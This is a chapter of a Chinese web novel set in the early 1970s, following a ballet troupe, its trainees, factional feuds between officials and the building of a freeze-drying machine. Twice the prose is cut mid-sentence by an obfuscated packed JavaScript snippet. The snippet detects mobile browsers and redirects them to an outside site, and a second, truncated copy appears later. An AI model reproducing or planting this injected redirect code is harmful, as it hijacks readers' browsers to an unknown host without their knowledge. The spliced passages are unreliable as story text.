向党和周文芳等一众领导紧急开会,为什么呢?为了团里储备人才的事儿。大部分的一线队员都结婚了,虽说避着孕呢,可万一呢?要是怀上了,难道还不让生? 于是很自然地,团里来了一批十三、十四岁的小年轻。八个人,六女二男,培养接班人嘛。没演出任务的时候,章清云、苗盼儿这两位主力得帮着训练,传授舞台上的一些经验。 人一多,矛盾自然也就多。特别是这些孩子,十三四的年纪,恰逢青春期,对什么都懵懂,也到了好奇的年纪,整日凑在一处叽叽喳喳的说小话,偏还爱搞个小团体。 扎的堆儿多了,都是自小受宠的孩子,谁能服谁?倒是知道规矩,不跟一线队员吵,可彼此之间七个不服八个不忿的,整日争吵就没断过。 这日就是,大早上正换衣服呢,就吵起来了。 为啥呢?因为福利票。 昨儿演出,因着是小型演出,周文芳特意让两名表现还不错的小队员上场,跳了一段儿集体舞,算是积累场上经验。 演出完毕分福利票的时候,是一名一线男队员分的。一个叫炎炎的小队员撒娇说想要糕点票,男队员看正好有,随手就给了。谁知就那一张,另一名叫小菊的只得多给了几张糖票。按说都是很不错的福利。 谁知昨天没吵起来,今早上吵起来了。小菊说炎炎勾引一线男队员,不要脸。分福利的时候挑肥拣瘦,搞享乐主义,这就有点儿上纲上线了。炎炎也不是吃素的,说小菊丑人多作怪,嫉妒她云云。也不知十三四的小姑娘,怎么心里就能想这么多。 因着小菊说了上纲上线的话,大家倒是不好劝了,事情就惊动了向团长。向党那个生气啊,这八个人可是她和周文芳利用周末时间,跑了好几个市选出来的。来了还没一个月,就闹出这事儿。 怎么办?两个都退回去! 向党冷着脸,十分的严肃,一点儿也没有松口的意思:“别以为来了就一定能留下来!文工团是跳舞的地方,不是你们私下里搞小团体互相倾轧的。想留下来,只有一条路,好好练舞,用舞蹈说话!其他都是白搭,明白吗?!” 就这么的,把其他六名小队员镇住了,连带文公团的矛盾都少了。 忙忙叨叨的,本以为年前的日子就这么过去了,谁知道又出了一件大事儿,高武举报季长善乱搞男女关系,还找到了几个证人。谁知季长善也不是善茬,手里也有高武的把柄,两人狗咬狗,一时闹的乌眼鸡一般。 各自举证还不算,天天纠结一□□闹事儿,俨然另一场武|斗。最后还是高武手里的证据过硬,私下里也不知怎么谈的,逼得季长善退了一步,季副主任也做起了隐形人,轻易不再说话发表意见。 高武算是彻底抖起来了,想找科研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465848|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大院的茬儿吧,发现罗霞已经主动下放了,叶宛如也去上了大学,就连卢建设这小子都跑了。怎么办呢?派人盯着关百钺和厂子,就不信找不到关百钺的把柄! 这个年,就在高武紧盯不放下来到了。因着盯得紧,今年置换物资,就没有去年顺手。职工的福利没变,这个是明面儿上的,高武就算知道了,也不敢在这上面做文章。毕竟不能一下子得罪那么些人呀。但私下里的置换,关百钺就必须做的更隐秘了。好在和程正道合作,有他打掩护,也能瞒过高武的眼睛。 去三河大队看望四位老人,没想到冬天里大家伙儿也没歇着,搞什么积肥大会战,要为开春地里施肥做准备,大冬天的去河里挖淤泥。这可是类似后世东北那一片地方,可想而知地里冻的得有多硬。一铁锹下去,地没事儿,往往铁锹得豁进去一个口子。 大队长和老支书也不想干啊,可公社派了人下来,热情可高了,说是隔壁市搞得如火如荼,青江市下面的公社也不能输!没办法,彻底不能猫冬了。好在四位老人年纪大了,没分到什么重活,帮着去山上捡柴火,点火烘地面,软了再铲泥,反正不够折腾的。 看老人变成了帮着干活儿,还一干就是一天,午饭都是在地头吃的。当然,村里的人吃大锅饭,他们自带干粮。 回去的路上,章清云轻声问关百钺:“是不是卢建设搞的鬼?”卢建设就是去的隔壁市下面的公社,这股子妖风据说就是那里刮起来的。 关百钺微微点头:“估计是,他这个人很能弯得下腰。” 章清云想起第一次见时,卢建设不就作为小弟,给高斌递蛋糕嘛。她说:“那他这么着,能很快回来吗?” 关百钺摇摇头:“说不准,政治很复杂,不是弯得下腰就能玩得转的,天时地利人和一样都不能少,看他的运气吧。放心,他栽了一次,就算回来,也轻易不敢对咱们怎么样的。” 年前还有一件事儿,罗霞专门写信过来,说她过得很好,农场的活儿不重,种种菜养养鸡,没受什么罪,让儿子和儿媳妇放心,过年也不要去看她,尽量淡化她的存在,让人想不起来才好。 如此,两家干脆一起过年。七二年也是巧了,除夕那日正好是阳历的二月十四,情人节。两位男士为了表现,愣是让关盈钺和章清云看着安安,他们两个关起门,准备了五菜一汤,还包了两种馅儿的饺子,凑够了八样菜。 味道一般,但情绪价值得给足啊,关盈钺和章清云你一句我一句地夸,四个半人欢欢喜喜地过了除夕。 年后关百钺迅速投入冻干机的研发工作,一过完年就忙得脚不沾地。之所以想着做这个,也是每年冬日里准备过冬的蔬菜,准备得够够的,每日萝卜白菜也吃得够够的了。 关百钺就想啊,有没有一种方法,能让蔬菜不坏呢。这不就想到了后世常见的冻干蔬菜嘛,和章清云一说,两人简直是一拍即合。 你说研发塑料大棚?那玩意儿得用塑料,穿越以来,关百钺接触的都是物理,化学方面他不擅长啊。而且,他三辈子,都不会种地呀。这玩意儿肯定是农学家为主导,关百钺占不了大头的。 是以大棚虽好,跟关百钺也不搭。都是后世过来的人,又当真不习惯每天这么吃,可不就剑走偏锋,想到这上头了嘛。关百钺热情高涨,一过完年就投入研究,立志在七二年,将冻干机研发出来。 这一忙,就没时间接章清云下班了,跟几乎天天来接姚燕妮的程卫东,形成了鲜明的对照组。姚燕妮倒是没说什么,男人忙事业和整日没事做,孰优孰劣她是很清楚的。 狗腿兼嘴替孙巧云讽刺上了,还故意当着姚燕妮和程卫东的面问:“清云,你男人怎么不来接你啊?这可不行,结了婚也不能不知道疼人,你看燕妮和姐夫,多恩爱。” 姚燕妮肚子已经显怀了,每日下班,孙巧云都会跑去扶她,将人交到程卫东手里。章清云看着这奇怪的组合,笑笑没说话,拉过想开口恁人的程紫鹃走开了。 程紫鹃不服气地低声嘀咕:“傻不傻,怀孕了还整天把不怀好意的小姑娘往男人身边领。” 章清云嘘了一声:“行了,程卫东虽然好色,也不是谁都看得上的。起码团里的人,他不会动,这个面子他还是会给姚燕妮的。”毕竟姚燕妮可是沈老的外孙女,再不认,血缘关系断不了,要是明晃晃的欺负人,沈家不会不管的。 两人在公交站台分别,章清云继续往家走,出乎意料的,叶宛如又找来了,还是那么突然地出现。 看着瘦了一圈儿,眼睛却异常明亮的叶宛如,章清云有一刻的恍惚。叶宛如却第一时间开口了:“那天晚上的文件袋,是关百钺找人送来的吧?” 章清云抿嘴没说话,叶宛如笑笑:“放心,我不恨你们。相反,我还要谢谢你们,谢谢你们让我看清了我爸的真面目。” 她冷笑一声:“你可能不知道我这个大学名额是怎么来的吧?是我将我爸和夏琳堵在被窝里要挟来的。我还是他的亲闺女呢,尚且得这么着,才能去读大学。夏琳的女儿呢?那老东西为了生儿子,竟然将名额拱手送给别人! 要不是那个文件袋,这件事儿我还被蒙在鼓里,说不得还会觉得那老东西人不错,想着将来好好孝顺他。现在好了,他去农场了,我和他断绝关系,也没受牵连,还能正常上大学。 你不会觉得我心狠吧?” 章清云笑笑:“怎么会,你只是在为自己争取罢了,很正常。” 叶宛如定定看了章清云两眼,良久才低声道:“谢谢你,你是第一个这么说我的人。”她没说的是,虽然上了大学,可大学也是分派别的。像她这种人,比那些能被教育好的子女还不如,是受人歧视的。半个学期以来,没什么人理她,很多人都是躲着她走。 见人沉默了,章清云问道:“你找我是有什么事儿吗?” 叶宛如低下头,手指拽着衣角,很久才道:“高武是不是在找你们的麻烦?” 章清云了然:“你是有什么东西要给我们?” 叶宛如微微点头,小小声地说了一个地址:“高武要藏东西,肯定藏那里。你跟关百钺说,他知道该怎么办。” 章清云忙问:“他找你麻烦了?” 叶宛如嗤笑一声:“他敢!我可是有他的把柄的,你别担心。我......我就是来看看你,跟你说说话。明儿我就回学校了。”说到最后,嗤笑变成了苦笑,却赶紧转过了身,没让章清云看到。 章清云忙道:“你等一下。等我一会儿,别走,千万等一会儿。” 说着朝一边的‘小卖部’胡同跑去,叶宛如擦擦眼角,站着没动。 不多时,章清云手里提着一网兜的零食,小跑过来,边喘气边递过去道:“拿着,就当是谢谢你提供的消息了。” 网兜里,麦乳精、罐头、夹心饼干、糕点都有,这么些东西,没有二十块钱买不下来。叶宛如眼眶微红,接过来晃了晃,旋即低下头,说了声谢谢,迅捷地转身,眼泪到底下来了。 回来也不是没去找过别人,以前舅舅、姥姥整日唠叨,说有了后妈就有了后爹,让她受了委屈就去找他们,他们一定会为她做主。可真找过去了,却被他们关在门外,连门都没让进。还是这个曾经不对付的陌生人,给予了她温暖,真是讽刺。 叶宛如擦掉眼泪,大步离开。 章清云看着大步离开的背影,摇摇头,也没放在心上,继续往家走。关百钺最近很忙,快八点了才到家。章清云一边儿给他盛饭,一边将叶宛如的事儿说了,她道:“要不要派人去那地方看看?” 关百钺换好衣服出来,洗着手回复道:“嗯,让陶勇找人盯着,有机会将里面的东西取了,高武就不敢乱动了。” 的确,这么秘密的地方都能被发现,那就说明有人专门盯着他呢,高武不警觉才怪。 什么地方呢?市区一座破败的剧院。 据说最早的时候是大烟馆,取缔了之后,因为地方够大,被改成了剧院,好几个名角都在里面唱过戏。运动开始后,那里成了批|斗的主要阵地,很多人都疯了,咿咿呀呀的在台上唱戏,不分白天黑夜的唱。好几个夜深人静清醒过来的,也选择在那地方自杀。邪性得很,据说至今晚上还能听到唱戏的声音,寻常人都不敢靠近。 这么要紧的地方,陶勇亲自带了两个兄弟过去守着。许是最近太活跃,才守了两三天,高武晚上就去藏东西了。弓着腰偷偷摸摸的,一看就知道,那东西很珍贵。陶勇和兄弟们屏住呼吸,大概半个小时,高武才蹑手蹑脚地离开。 陶勇没有马上出来,都是谨慎的人,他不信高武就这么走了。果然,还没五分钟呢,高武杀了个回马枪,见东西还在,这才真的离开。陶勇和两个兄弟闪身出来,直冲刚才看到的地方而去。 好家伙,高武抖起来还不到半年吧,光金条就二十根,更别说金手镯、珍珠项链等首饰了,装了一个小木匣子。 陶勇从里面掏出两个金戒指,一人给了一枚,低声警告道:“都藏好了,被人发现了可就全完了。剩下的得收起来给百钺,高武那小子是个小心眼儿,想让他听话,光威胁没用,东西得还给他,知道吗?不是不给你们,这些东西是百钺用来钳制高武的。” “明白,勇哥。”其中一个叫小海的低声道,“咱们兄弟如今有工作,都是托百钺的福,我们都记着呢。” 陶勇这才道:“行,将这里恢复了,咱们走。” 就这么的,顺利地拿到了高武藏起来的宝贝。不过关百钺可没有去找高武,高武这个人心眼儿小,事儿可以做,却不能让他知道是谁做的,否则非被他记恨不可。 得找一个人,一个日后高武知道后,也认为肯定是他,绝不会怀疑的人。 57. 八卦与大学名额 此人是谁呢?季长善。 当然,东西不会全给他,给几个具有标志性的东西,例如虾须镯、凤尾钗,高武一看就知道是他藏起来的。如此,有季长善牵制,高武就没精力盯着他们,关百钺才能全身心地投入工作。 这事儿得陶勇亲自去做,他功夫好,自个儿做更容易溜走。季副主任还在位置上,季家在市政大院是有小楼的,躲过巡逻,很轻松地将文件袋投到了季长善的房间。 剩下的事儿就不用他们管了,也不用刻意打听,该怎么过怎么过。只是没过几日,能明显的感觉到,盯着自家的人少了,关百钺和章清云早上去上班的时候,都觉得神清气爽起来。 一进入四月,空气仿佛都甜美了,鸟语花香的,关百钺和章清云心情前所未有的好。为什么?因为冻干机,研发成功,已经进入关键的试验阶段。只要实验成功,就能投产,且是突破地域限制,能在全国范围内投产的大项目。 之所以冻干机研发这么快,也和政治形势分不开。七二年,和M国开始建交,冻干机冻干的蔬菜,可是M国太空宇航员在天上吃的东西,你说珍贵不珍贵? 粮油公司的领导自然是全力支持,要钱给钱,要人给人,什么事儿都不让关百钺干,就专职研发冻干机。好在关百钺智商够高,也能顶得住压力,否则真能被这阵仗吓住。 实验阶段了,领导们最关心的就是需不需要招工的问题。去年有八十个名额,可是给周局派上了大用处。整整一年,粮油公司的煤炭供应都格外充足。 这次也不知道谁走漏了消息,关百钺研发出了新机器,可能招工的消息,在领导层传开了。一时间,青江市几乎所有有名有姓的,都和周局成了朋友,不是关心周局的儿女,就是要约周局吃饭,整日电话不断。 关百钺还不知道,实验还没成功呢,已经有人惦记上了。此时,他和洪常胜、陶勇等人,正嘎吱嘎吱咬着冻干胡萝卜,看看冻干之后的蔬菜,有没有失掉原本的风味。 陶勇尝了大半个才说:“还是那个味儿,不咋好吃。” 洪常胜点点头,跟着关百钺干了快半年,还是没什么正形,他斜着身子说:“胡萝卜能多好吃,就那样呗。哥,这么着真能放一两年不坏?” 关百钺没点头也没摇头,只说:“这个得试试才知道,行了,每样吃一点儿就行,将每种蔬菜的冻干系数都记好,实验算是成功了,明儿去跟领导们汇报,今天都早点儿回家。” 今儿成品做出来了,关百钺才想到,他居然忘了冻干食品最大的用途之一,方便面!明儿得问问领导,如今国内有没有生产方便面的厂家,跟他们合作,提供冻干蔬菜,或者直接卖给他们冻干机,都是最快实现盈利的方法。 下班早,关百钺特意去接了章清云。天气暖和起来,章清云已经改成骑车上下班了,见到关百钺还挺惊讶:“你今儿忙完了?” 关百钺眉眼都透着高兴:“实验成功了!你说我是不是傻?居然忘了冻干蔬菜能用在方便面上。要是这时候没有生产方便面的厂家,其实青江市可以建一个的。” 章清云也笑:“是哦,以前我没怎么吃过方便面,都忘了还有这东西。”上辈子是运动员,吃东西是有严格规定的,关百钺忙活这么久,她居然都没想起来这茬。 章清云提议:“去国营饭店吃一顿,庆祝庆祝?” “走,好久不去了,也不知道如今有没有什么新品。” 正说着话呢,章清远从不远处过来,见到两人裂开嘴笑,不过话却不多:“姐,姐夫,清宇哥和司南姐回来了,带了槐花包子来,妈让我接你回家吃饭。” 章清远今年十四,进入了变声期,说话跟鸭子叫似的,他自己也觉得不好听,这一段儿是能不开口就不开口。 章清云笑:“是不是司南怀孕了,来检查的?” 章清远点头。 得,直接回家,路过国营饭店,三人还进去看了看。今日的肉菜供应是卤猪肝,关百钺迎着服务员的白眼儿,愣是问了大师傅能不能买成整块儿的,不用拌。 不拌还省了油和料呢,大师傅当即同意,切了一块儿用油纸包上,三人乐颠颠儿地拎着,准备回去自家拌着吃。 “司南。”还没进家门呢,章清云就喊上了,“这次能回来几天?” 章清宇跟个傻子似的扶着司南出来,司南想甩都甩不掉,只得让他扶着,笑着回道:“春耕结束了,老支书准了五天的假,我和清宇能在家住五天呢。”因着婚后生活和顺,司南早没了当初瘦成纸片人的样子了,如今脸蛋上也有了肉,不说圆嘟嘟的吧,也恢复了做姑娘时候的鹅蛋脸。 “那感情好。”章清云扬了扬手里的猪肝,“正好,国营饭店卖的,董姨。” 章清云喊道:“董姨,司北,来家里吃饭吧。” 司南笑道:“行了,隔壁住着,菜送过去一些就行,挤在一处,我妈和司北也不自在。” 说笑着进了大杂院正房,唐春梅羡慕地望向司南的肚子,她比司南早进门,至今还没怀上呢,说不急是假的。等章清云被叫到厨房端菜时,唐春梅小心地问司南怀孕的事儿,司南愣了下,低声问:“嫂子,你和二哥都去医院检查了吗?” 唐春梅点点头:“去了,医生说没什么事儿,可都快两年了,还没怀上,我这不是着急嘛。你也知道,如今医院都是二把刀,也不知道检查的准不准。” 司南想了想,道:“这样,我记得清云的大姑姐在军医院工作,那里还好些,影响不大,一会儿你问问清云。” 唐春梅眼睛一亮:“真的?能去军医院检查?” 司南笑着道:“这个得问问清云,我也不知道,不过想来问题不大吧,就是去检查检查,又不是什么大事儿。” 果然,听到唐春梅的请求,关百钺暗暗点头,章清云笑着应承道:“行,周末吧,周末嫂子和二哥去科研大院找我,我带你们去找盈钺姐。” 邵华一直注意着这边,闻言也替二儿子高兴,忙夹了一筷子卤猪肝道:“来,清云多吃点儿。每天跳舞那么累的,多吃点儿好的补补。” 章清云笑着谢过,道:“够了,大伯娘,我还想多吃点儿槐花包子呢,好久没吃过了。” “这有什么稀罕的,清宇带的多,你和百钺回去的时候多捎些。” 一大家子说说笑笑的,气氛十分和乐。不料,隔壁袁家爆发出极大的争吵声,不多时是孩子哇哇的大哭声。邵华撇撇嘴:“又开始了。” 陈静也叹气,不屑道:“当时跟娶了个宝贝蛋似的,如今把人糟蹋的不成样子,什么人啊。” 去年高武和季长善斗法,高武拿季长善的作风问题说事儿,自然带出了辛梅,有人来袁家调查,辛梅说什么都不肯认,只说她七月份生产是早产,也确实让人说不出什么,为啥?因为辛梅怀的是双胞胎,早产一两个月都很正常。 季长善是个嘴硬的,肯定也不认。不过袁家却开始怀疑了,随着两个孩子越长越大,也越长越不像袁家人,这份怀疑就变成了争吵。 袁家全家都是圆脸,三个儿子都是,老家的几个袁家男人也都是圆脸,可辛梅生下的两个儿子,却是国字脸! 辛梅自己是瓜子脸,跟圆脸的袁国伟,怎么生出国字脸的儿子?! 谁都知道,这个说法没有科学依据,可谁心里不犯膈应?袁家人更是认得准准的,这俩娃不是袁家的! 袁国伟要离婚,辛梅才不离呢。一下子生两个儿子,她一个人的工资可养不起。这年头离婚,得两方同意,要是有一方坚决不离,且得闹腾两三年呢,双方的单位都得插手。 一个坚决要离,一个坚决不离,可不就每天吵吵嘛。苦了大杂院的众人,天天听大人吵孩子哭。刚开始还有人劝,可袁家人和辛梅都不是听劝的性子,还合起伙来骂劝架的人多管闲事儿。得,半年下来,大家也习惯了,听到吵闹声,连屁股都不动一下,该干嘛干嘛。 章清云低声问:“袁国伟不是司机吗?会不会外面有人?”如今交通不便,出一趟车往往就是十天半个月的,在外面干了什么谁知道? 唐春梅来了兴致,她是钢铁厂车间的女工,这个八卦她熟啊,忙低声道:“八成不干净。我们车间的李大姐,她爱人就是司机。说每次袁国伟出车,都比别人晚回来那么一两天!” “这么明显?” 唐春梅努努嘴:“大院儿的人都知道,等着看牛桂兰什么时候举报袁家呢。” 是啊,怎么忘了,院子里还有个神人牛桂兰呢。章清云小小声的问:“袁国伟就不怕被举报?” 唐春梅更加的小声:“其实晚一两天也是在允许范围内的,毕竟每次出车,路况、天气可能随时变化,规定没那么死。” 好吧,那就等着看什么时候事发吧。聊了会儿八卦,时间很快到了九点。邵华装了一兜子的槐花包子让章清云带着,两人也没推辞。 回到家,已经快九点半了。关百钺也没进屋,笑着道:“你洗漱吧,我去跟姐说一声检查的事儿,一会儿就回来。” “行,槐花包子带几个过去,吃个新鲜。” 周末一大早,章清洋和唐春梅就来了,还带了早饭,油条、油饼和豆腐脑,都是章清云爱吃的。好在章清云和关百钺早没了睡懒觉的习惯,否则被堵在被窝里,还真没法儿见人。 两人吃早饭,章清洋和唐春梅也没闲着,又是帮着拖地,又是帮着整理屋子的,不让做还不行,口里都是干坐着又没事儿,都是自己人,客气啥。 这就没法儿再说了,两人只得加快吃饭的速度,也就二十分钟,带着去找了关盈钺。 关盈钺亲自带着去找了值班的妇产科大夫。与市区医院的检查结果不同,章清洋是没什么大毛病,但唐春梅可能是小时候亏着了身子,需要好好补补。 “红糖、红枣、肝脏、枸杞等补气血的食物多吃些,平时不能饿着,问题不大,我开个方子,喝上三个月再来,应该就没什么事儿了。不要急,你们还年轻,孩子早晚会有的。” 唐春梅也不知道心里是什么滋味儿,没检查出问题的时候担心,这检查出问题了,更担心,出来时都不敢看章清洋的眼睛。 章清洋何尝不知道媳妇儿的心结,当着关盈钺三人的面没说什么,回去的路上,只剩两人了,他才道:“当初结婚那天,都现场断亲了我也没后悔,如今只不过要喝三个月的药,难道我就受不住了?你也太小看你男人了。” 唐春梅眼圈都红了:“我就是觉得对不住你,人家都有岳家帮衬,就咱俩,啥都得靠你,靠爸妈......” 章清洋左右看看,见没什么人瞧他们,迅速地揽了下唐春梅的肩膀,安慰道:“人又不能选择自己的父母,你碰上了,是你运气不好,却不是你对不住我。相反,我还要感谢你爸妈呢,他们放弃了你,我们家才能得到完完整整的一个人,我还赚了呢。” 唐春梅噗嗤笑出声:“赚什么啊,赔出去好大一笔。” 章清洋笑:“哪儿赔了,二百多块钱买一个大活人,还是这么勤快的一媳妇儿,上哪儿能遇到这好事儿去!走,别怕,妈虽然脾气急,没坏心的。” “我知道。” 夫妻俩说笑着回了家,另一边,安安还小,关盈钺不放心师援军一个人照顾孩子,和弟弟、弟媳两人没说几句话就分开了。 回到家的关百钺和章清云,迎来了意想不到的访客。 不是别人,正是最近被各路领导格外关爱的周局。 对于冻干机的使用,周局的建议是,青江市投产建方便面厂,生产方便面。这样不仅能更大限度地扩大招工名额,还能增加产值。对于关百钺担心的产品竞争力和销路问题,周局是这么说的。 “如今全国只有沪市的益民食品厂生产方便面,肯定是不够的嘛。咱们也采买了益民生产的方便面,调料包里只有盐和味精,没有冻干蔬菜。如此,咱们生产有冻干蔬菜的方便面,可是全国独一份,销路还不好说嘛,远洋舰队哪个不需要补充蔬菜和维生素?放心,只要生产出来,就卖得出去。” 计划经济似乎是这样,生产厂家只管生产,销路有主管部门负责。那关百钺对于销路的担忧好像是有些多余。 不过关百钺还是道:“我建议还是建一个销售部门,让销售们主动去找找销路。” 否则日后开放了,这个厂子肯定是最早受到冲击的。目前R国、海岛那边,方便面行业都比国内发达。只要一开放,外面的东西进来,肯定冲击的厂子做不下去。加上这又不是什么高科技行业,国内的小私企也能做,小就意味着灵活,没有国营工厂决策慢的弊端,到时候这个厂子不死谁死? 多设置部门,就意味着多招人,周局很爽快地点头,他也是被领导们缠的没办法了,这才大周末来跟关百钺通个气。他说了一个数:“一百人?” 关百钺点点头:“行,那就麻烦周局您负责了,冻干机那边我得盯着,帮不上您的忙,我就不掺和招工的事儿了。” 周局苦笑着点了点关百钺,真心佩服起关百钺的谨慎。这次的招工和上次不同,上次是生产机械,招工要求高,必须是高中毕业,还得是男性居多,关百钺不盯着不放心。可这次是食品厂,本身对学历要求就不高,且男女又不限制,那能做手脚的地方就多了,关百钺这是很聪明地躲了。 可周局却躲不了,谁让他是粮油公司的领导之一呢。 等人走了,章清云才舒了一口气:“幸好你躲得快,不然咱家非被踏破门不可。” 关百钺笑:“可不就是知道这个,才躲了嘛。走,去吃饭,顺便把给高斌的包裹寄了。”高斌在部队提干,上个月跟通讯连的女兵结婚了。两人结婚的时候,高斌是提前写信回来并送了礼的,轮到高斌结婚了,两人无论如何得寄东西过去。 章清云点头:“收音机票、糕点票、糖票,还有两袋子红糖,够吗?” “够。”关百钺起身去换衣服,“别担心,高斌和高武不一样,对这些小事儿不会看的那么重。” 可那是没结婚的时候,这结了婚,许是就不一样了呢?章清云没反驳,笑着将东西放到网兜里,也去换衣服准备出门。 春天了,文工团的演出多起来,为了丰富大家的精神生活,革委会再次提出了文艺下乡的口号,这次很明确地提出,各市区、省文工团应该走向田间地头,真正贴近群众,给最广大的农民兄弟们演出。 作为芭蕾舞团,去田间地头不合适,怎么办?改编舞蹈,放弃芭蕾的形式? 向党和周文芳等一众领导先吵起来了,周文芳反对地最激烈:“我们是专业的芭蕾舞者,不是扭秧歌的!让我们去跳民族舞都行,但扭秧歌,不行!” “周教练,注意你的言辞!”不等其他人说话,向党先严肃了脸,“扭秧歌怎么了?那是最朴素的舞蹈形式,是人民群众的智慧结晶,不许瞧不起扭秧歌的。” 意识到说错了话,周文芳也没犟着,立即道歉,但是还是那个话:“团长,我错了,我道歉。但是扭秧歌真不行,你又不是不知道,以往下乡,就算在台上跳,下面还有闹事儿的呢,这要是在田间地头乱窜着扭秧歌,我可不敢保证队员们的安全。大家想想,还有十三岁、十四岁的小队员呢,咱们把人招来,不能连安全都没办法保证吧。” 一个戴眼镜的四十多岁的女人发话了:“周教练,您这就小看了农民群众的素质了。大家还是很淳朴的嘛,您的担心纯属多余......” 周文芳严肃了脸,厉声道:“那这么着,孙副团您写个责任书,承诺出事儿了您负全责,那这个事儿我就松口,怎么样?” 被称作孙副团的女人哑声了,这谁敢负责?她涨红着脸,半天才憋出一句:“无理取闹!” 向党敲了敲桌子,叹气道:“行了,咱们就是讨论嘛,谁都可以畅所欲言。这样,如果领导层不能提出有效建议,那么我建议扩大会议基数,让咱们的队员都加入讨论,就芭蕾舞如何走入田间地头,大家畅所欲言,都说一说嘛。” 人群嗡嗡开了,孙副团率先发言:“我反对,队员们都是跳舞的,懂什么......” 周文芳打断道:“孙副团,您刚才还说我小看农民群众呢,那您现在,是不是小看咱们的队员了?我同意团长的意见,大家都来开会说一说嘛,群策群力,任务总要完成的。既然大家不能达成统一意见,就让更多的人参与进来,许是就有新的点子了呢。” 这话说的没毛病,就这么着,下午也不训练了,所有队员都参加会议,讨论如何文艺下乡,真正走向田间地头,服务广大农民群众。 章清云都觉得离谱,芭蕾是要有很平整的舞台才能跳的,怎么进田间地头,不可能嘛。还没说话呢,姚燕妮表态了:“我觉得大家不要急着拒绝嘛,克服一切困难,甚至迎难而上,才能体现咱们的价值。那就是土坷垃,真的不能克服吗?又不是钉子钢筋的,有些队员就是太娇气了......” 这下连嘴替孙巧云都不说话了。姚燕妮怀孕不跳了,当然可以站着说话不腰疼,可她还要跳呢。 见没人应和,姚燕妮哼一声:“要不是......” 章清云直接道:“团长,教练,我觉得要不同情况不同分析,不能一概而论。咱们团的舞蹈内容不一样,是不是能考虑和别的团合作?例如市里的文工团,甚至县区的文工团,咱们一起合作搞一台大联欢,每个团出几个节目。搭个舞台,多演几场也是好的,量变引起质变嘛,不一定非要在地头上演出。地头上看的人有限,咱们搭个台子,让更多的人看到,也是完成任务了” 她瞄了眼姚燕妮:“而且和其他团合作,节目内容也更丰富,说不得更受欢迎呢。节目多样化,也能让某些积极的同志上台过过瘾,大家说呢?” 其实五六年就有春节大联欢了,章清云的提法并不突兀。服务农民群众嘛,节目越多样越好,向党没说话,却笑着望向众人。 周文芳第一个赞同:“我觉得这个提法好,单一的节目看多了,肯定没有大联欢这种形式更吸引大家的眼球。农民兄弟们累了一天,看大联欢乐一乐,也能忘了一天的疲劳。” 孙副团推推眼镜,提出了不同的意见:“那节目以谁为主导呢?咱们毕竟只是芭蕾舞团......” 向党摆摆手:“说这个太早,咱们先说这个提议好不好,如果大家同意,咱们再去跟下面的文工团谈嘛,他们人才更多样,要是想占据主导位置,就多几个节目嘛,做工作不要总想着揽功劳,配合性的工作也要做。” 程紫鹃赶紧举手,道:“我赞成,而且我推荐清云做主持人,她普通话说的最好,气质也在那里摆着,一定可以胜任的。” 主持人可是露脸的机会!要是节目好,说不得连省里的领导都会去看,孙巧云赶紧开口:“我觉得该做个主持人选拔,还有市文工团那边呢,她们肯定也要推荐人的,咱们团得选出最优秀的才行。” 小队员们见状,也叽叽喳喳小声谈论起来,竟似真的已经决定要举办大联欢一般。 向党赶紧往下压一压,笑着问:“这么说,咱们的队员都同意清云的建议?” “同意。” “我也同意。” 向党望向团里的其他领导,没人再开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程紫鹃嘿嘿嘿的笑,和刘念东结婚以来,程紫鹃的性子一点儿没变,还是这么活泼,可见刘念东是真的宠她。 看着两人并肩离开,章清云才骑车往家走。最近,关百钺为了躲招工的麻烦,除了上下班,基本很少在外面出现,自然没办法来接章清云下班了。结婚这么久,章清云也不觉得要时刻黏在一起,彼此有空间,相处起来也自然。 大联欢的事,和市文工团谈的很成功,且人家文工团不仅能出舞蹈类节目,其他像是歌曲、相声、快板、评书等节目形式都有,加上芭蕾,真的能凑出一台不错的大联欢。 谈了有一周,期间各种选拔同期进行,章清云如期被选上主持人。男主持人是市文工团的一名民族舞的舞蹈演员,叫沈洲,高大挺拔,和章清云站在一起格外养眼。还算健谈,彩排了两天,相处也算融洽,这就去下面的公社演出了。 可以毫不夸张的说,演员们走到哪儿,都是人挤人,才两天的功夫,演出就轰动了青江市。整个四月,章清云都在忙大联欢的演出,有时候公社远了,连家都不能回,直接住在公社的招待所。 好在有靠谱的领导跟着,没让不该接触的人接触演员,演出就真的只是演出。四月末,因为太轰动,青江市的人都去乡下看演出了,各个工厂的领导也纷纷向市区反应,这么好的演出,凭什么只在乡下?他们工人阶级也要看! 好嘛,以为四月演完就可以完事儿的众人,又迎来了更忙的五月。五一是劳动人民的节日,革委会邀请大联欢的众人去省文化宫演出,那里能容纳近千人,是省里最大的舞台。 章清云感觉跟做梦似的,真没想到会这么轰动。她看着省报上的照片和报道,摇头失笑,这算不算无心插柳?跳芭蕾登了一次省报,没想到主持节目,又上了一次,还是正面露脸的照片,比那张芭蕾舞的抓拍还清晰。 因着有省里的领导,演出时,后台都格外安静。好在演多了,大家也习惯了,中途并没有出幺蛾子,很圆满地完成了演出任务。 五月末,因着大联欢刮起的狂热才算是降温。这日,向党很高兴地将章清云叫到办公室,边倒茶边说:“前两个月你的表现大家都看在眼里。团里争取到了一个工农兵大学生的名额,我准备推荐你去。虽然不舍,但对你的前途而言,去念大学是有好处的。记得,报名前千万别声张,以免发生什么意外,明白吗?” 章清云吃了一惊,没想到还有这样的机会,可如今七二年了,再过五年就恢复高考,这个工农兵大学念不念的,她还真没放在心上,她赶紧说:“团长,谢谢您的推荐,不过我更喜欢跳舞。我今年二十,能在舞台的时间顶多只剩下五年,我更想留在舞台上,而不是去读大学。” 